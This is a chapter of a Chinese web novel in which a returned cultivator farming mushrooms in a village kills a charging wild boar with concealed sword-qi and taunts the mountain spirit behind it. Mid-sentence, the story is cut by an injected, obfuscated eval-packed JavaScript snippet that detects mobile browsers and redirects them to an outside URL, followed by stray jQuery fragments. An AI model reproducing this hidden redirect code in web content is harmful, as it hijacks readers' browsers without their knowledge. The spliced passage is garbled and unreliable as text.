14.猪子猪孙

作品:《始乱终弃后仙尊带崽找来了

    余俭是在五月底完成菌种种植的。转眼踏入六月,青林镇便被梅雨季节的帷幕笼罩,淅淅沥沥的小雨缠缠绵绵,空气里满是化不开的湿气,连呼吸都带着股黏腻的烦闷。


    即便天气不好,余俭每天也雷打不动地往桃林跑一趟。桃树上的果子在雨水的滋养下,正偷偷攒着劲儿膨大;而树下套种的草菇和平菇,菌丝长势更是喜人,短短三天时间,白色的菌丝就爬满了培养料表面,像一层细密的绒毯,正悄无声息地往深层“扎根”。


    连绵的雨水搭配初夏的高温,恰好成了菌丝生长的“温床”。余俭蹲在畦床边,指尖轻触培养料表面,感受着底下蓬勃的生命力,心想:照这个势头,用不了多久,第一批菌菇就能冒头了。


    菌种种下的第四天傍晚,雨终于停了。余俭拉上余爸爸,一起去桃林掀开了覆盖在畦床上的黑色地膜,给即将冒头的菌菇留足了透气和生长的空间。


    余爸爸这辈子跟庄稼打交道,种菇却是头一遭,对每个环节都揣着满心的好奇,又藏着几分忐忑。父子俩忙完从桃林出来,踏上回家的田埂时,余爸爸又忍不住开口,语气里满是疑虑:“我看着没什么变化,真的能长菇吗?”


    他早早就在心里算了一笔账:稻秆是现成的,其他辅料也不贵,其中最费钱的是菌种,听阿俭说就花了千百块,这么算下来成本确实不是很高,就算最后失败了,也亏不了多少。但余爸爸就是止不住心疼,心疼钱,心疼儿子在这上面费的时间和精力,更担心儿子会因为这次失败受到打击。


    余俭了解余爸爸的心思,所以每次都认真地回答:“爸,放心吧,用不了几天你就能吃上自己种的菇了。”


    这话并非空口安慰。他每天都会将神识探入培养料,那密密麻麻的菌丝早已在料内交织成网,像无数双小手紧紧抓着稻秆,汲取着养分,就等着合适的时机破土而出。


    不过这种话多说无益,余爸爸就是习惯性焦虑,只等他看到成果,自然会打消疑虑。


    父子俩一边闲聊,一边往停在田埂边的三轮车走去。中午便停了雨,此刻夕阳微露,空气里混杂着泥土的腥气与雨后草木的清新,憋了许久的沉闷心情,也随之舒畅了不少。田埂两侧的田里,农户们都趁着这难得放晴的时机,抓紧时间打理农田。


    余爸爸和熟人说了几句话,正打算上三轮车,忽然听到不远处有人喊了一句。


    “野猪下山了,大家快跑!”


    余俭和余爸爸同时顿住脚步,循声望去——和余家桃林隔了两块稻田的一处番薯地,余新国正高举锄头站在田埂上,他脸色煞白,声音都在发颤。他刚蹲在地里查看番薯长势,就瞥见一团黑影从旁边的山林里窜出来,直奔自家番薯地,仔细一看,竟是一头壮硕的野猪。


    这头野猪身形彪悍,浑身黑毛杂乱如钢针,嘴角两颗泛黄的獠牙狰狞外露。冲进番薯地后,二话不说就低下头,用鼻子疯狂拱着泥土,刚长成型的番薯被拱得翻出地面,有的还被踩烂,看得余新国心疼又害怕。他知道这畜生凶性十足,自己根本拦不住,只能第一时间高声提醒周围的人赶紧远离。


    田里的农户们听到喊声,都吓得魂飞魄散,纷纷攥紧手里的农具往田埂上跑。场面一时之间变得很混乱。


    野猪显然是被这突如其来的混乱和喊声惊到了,拱番薯的动作猛地一顿,随即抬起头,浑浊的眼睛扫向四周奔跑的人群,竟像是被激怒了一般,不再盯着番薯地,而是猛地调转方向,疯了似的朝着某个方向冲来。


    很快,在场的人就发现,这头野猪根本不是乱冲,反倒像是有明确目标一样,直直地朝着余俭和余爸爸所在的位置冲来!


    “阿俭!老余!快躲开!它冲你们那边去了!”


    周围的人都急得大喊,纷纷握紧了手里农具,心里都想着,要是野猪真要伤人,他们就算拼尽全力,也得冲上去把它打跑。


    可余俭面上没有半分慌乱。在修仙界时,他不知道经历过多少次生死一线的场面,现在区区一头野猪,还远不足以让他方寸大乱。他冷静地观察那只野猪,很快就发现,野猪那双浑浊的眼睛正死死地盯着自己。很显然,野猪锁定的目标正是自己。


    情况不容余俭想太多,他一把将被野猪吓傻的余爸爸推上三轮车,裹着灵气的声音传入余爸爸耳中:“爸,快开车!”


    余爸爸如梦初醒,下意识启动三轮车,一会儿之后才意识到余俭没上车,连忙按下刹车,拧着身体冲余俭大喊:“阿俭,你快上车!”


    余俭自然不能上车。这头野猪的目标是他,若是他跟着上车,野猪定会紧追不舍。沿途都是劳作的乡亲,难免会有误伤。


    他冲余爸爸喊了句“放心”,便转身朝着与三轮车相反的方向跑去。野猪果然将他当成目标,喘着粗气紧跟在余俭的身后,周围的人看到这种情况,全都为余俭捏一把汗,生怕他被野猪追上。


    可奇怪的是,余俭跑步的速度明明不快,但野猪却始终追不上他。余俭的目光冷静地扫过四周,很快就锁定了不远处的一座石桥。石桥与小溪之间有着两米多的高差,刚好能利用。


    他没有丝毫犹豫,脚下发力,径直跑向石桥,在抵达边缘没有栏杆拦着的位置的瞬间,纵身一跃。两米多的高差对他而言根本不算什么,落地时脚步轻轻一点,就稳稳站在了小溪滩上,身体甚至没有一丝晃动。


    脚刚落地,余俭旋身踩着溪滩上的裸露出来的石头,继续往前跑,趁机拉开和野猪的距离。


    身后的野猪已然追红了眼,根本没考虑高差的问题,紧随其后也跳了下来。小溪里布满了尖锐的裸露石块,野猪体型笨重,落地时重心彻底失控,脑袋“咚”的一声,狠狠撞在了一块凸起的大石头上,发出沉闷的巨响。它疼得嗷嗷直叫,庞大的身躯踉跄着倒在溪水里,溅起一大片水花,一时之间竟没能爬起来。


    赶来的农户们站在石桥上,探着脑袋看着这一幕,纷纷议论起来:“这高度撞上去,怕是要撞懵了吧?”


    “野猪皮糙肉厚的,这点高度估计伤不到他。”


    ……


    没人知道,就在野猪跌倒的瞬间,不远处的余俭指尖微动,一丝极其凝练的灵气在他指尖凝成肉眼不可见的锋锐剑意,他指尖微动,剑意便悄无声息地射向野猪的脑袋。剑意入体,瞬间破坏了野猪的脑部要害,没有丝毫拖沓。


    这一切都发生在电光石火之间,没人察觉到异常。大家只看到,野猪在溪水里抽搐了几下,原本还在挣扎的四肢渐渐没了动静,浑浊的眼睛也失去了神采,彻底没了气息。


    “不动了!”


    “好像……死了?”


    “这就摔死了?”


    石桥上的人你看我、我看你,小心翼翼地开口,语气里满是难以置信。


    余爸爸把三轮车停在路边,下车的时候腿还是软的,他跌跌撞撞地跑到从小溪里爬上来的儿子身边,拉着他上下打量:“阿俭,你没事吧?没受伤吧?”


    余俭摇头:“我没事,不用担心。”


    见余俭真的没受伤,余爸爸长长地松了一口气,悬着的心终于落地,随


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144219|196332||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    即又升起一股后怕的怒火,抬手在他的肩膀上扇了一下:“你这孩子怎么那么莽?这么大的野猪你也敢引,要是出事了我和你妈怎么办?”


    余俭知道余爸爸是担心自己,老老实实站着挨训,没有反驳。


    周围的人马上围过来,纷纷拦着余爸爸:“老余,你别骂阿俭了!要不是阿俭把野猪引开,指不定谁要遭殃呢!”


    “我看阿俭也吓得不轻,回头记得找阿祥婆给他念碗惊茶,压压惊!”


    余爸爸的情绪也慢慢冷静下来了,伸手过来揽住儿子的肩膀。余俭拍拍余爸爸的手,再次安慰道:“爸,我心里有数,不会让自己受伤的。”


    确认余俭没受伤,众人再次把注意力放到那头野猪上,确定它真的死了之后,几个力气大的农户下到小溪里,将它抬到余爸爸的三轮车上,运回溪云新村。


    自从野猪被列为三有动物,青林镇的人都多少年没吃野猪肉了?这次这头野猪被运回来,立马吸引了所有人的注意力,溪云新村的小广场上瞬间围满了人。大家七嘴八舌地议论着,眼里满是兴奋和好奇。


    “这野猪真壮啊,看着得有两百多斤!”


    “可不是嘛,多亏了阿俭,不然咱们不仅吃不上,还得担惊受怕!”


    “这野猪是自己摔死的,不算违规吧?”


    村支书余有望见状,赶紧站出来维持秩序:“大家安静一下!这野猪是阿俭引到小溪边,它自己失足撞到石头上摔死的,属于意外。我已经给镇上林业站打了电话说明情况,他们说没问题,让我们村里自己看着处理。”


    经过商定,最终由村委出面,将野猪肉以一斤十块钱的价格出售给溪云新村的村民,赚得的钱正好用来修缮村里的路灯。有人就爱吃这口野味,有人不爱吃,自由选择。


    没人有异议,但余有望还是把余俭叫到身边,对所有人说道:“阿俭是这次的大功臣,要是没有他,这野猪指不定还要伤多少人、糟蹋多少庄稼。所以我让阿俭先选不过分吧?”


    “一点儿都不过分!”大家附和道。


    余俭也不和大家客气,直接和余有望说道:“有望叔,把猪头给我吧。”


    一来,猪头里还残留着他的剑意,有可能会伤到人;二来,余俭拿这个有其他用处。


    村里的杀猪匠过来,直接把猪头砍下来装进红色的大塑料袋里,递给余俭。他接过道谢后,没再参与分猪肉的热闹,提着猪头回家。


    余妈妈在家里听说了余俭被野猪追的事,见儿子回来,自然好一顿关心和数落。


    临了才注意到余俭手里的猪头,挺大一个,两颗狰狞的獠牙比成年人的手臂还长,散发着腥臭味。只要一想到就是这么个畜生追着自己儿子,余妈妈心里又是一阵后怕。


    她忍不住狠狠地瞪了儿子一眼:“你怎么就不知轻重呢?”


    余俭连忙朝着余妈妈讨好地笑了笑,说了一箩筐好话,才总算安抚好母亲的情绪。末了,他说道:“妈,这猪头您给我留着,我有用。”


    余妈妈哼了一声,阴阳怪气地说道:“这是你的战利品,你爱怎么处理就怎么处理!”


    *


    深夜,四野阒寂,四下无人。


    余俭提着猪头悄悄出门,来到自家承包的稻田边。他将猪头往田埂旁的竹竿上一插,目光穿透浓重的黑暗,直直落在远处的云峰山上。一丝灵气裹着他的声音,跨越距离,准确无误地传到了云峰山上。


    “你是打算自己出来呢?还是想接着让你的猪子猪孙,继续给我送猪头?”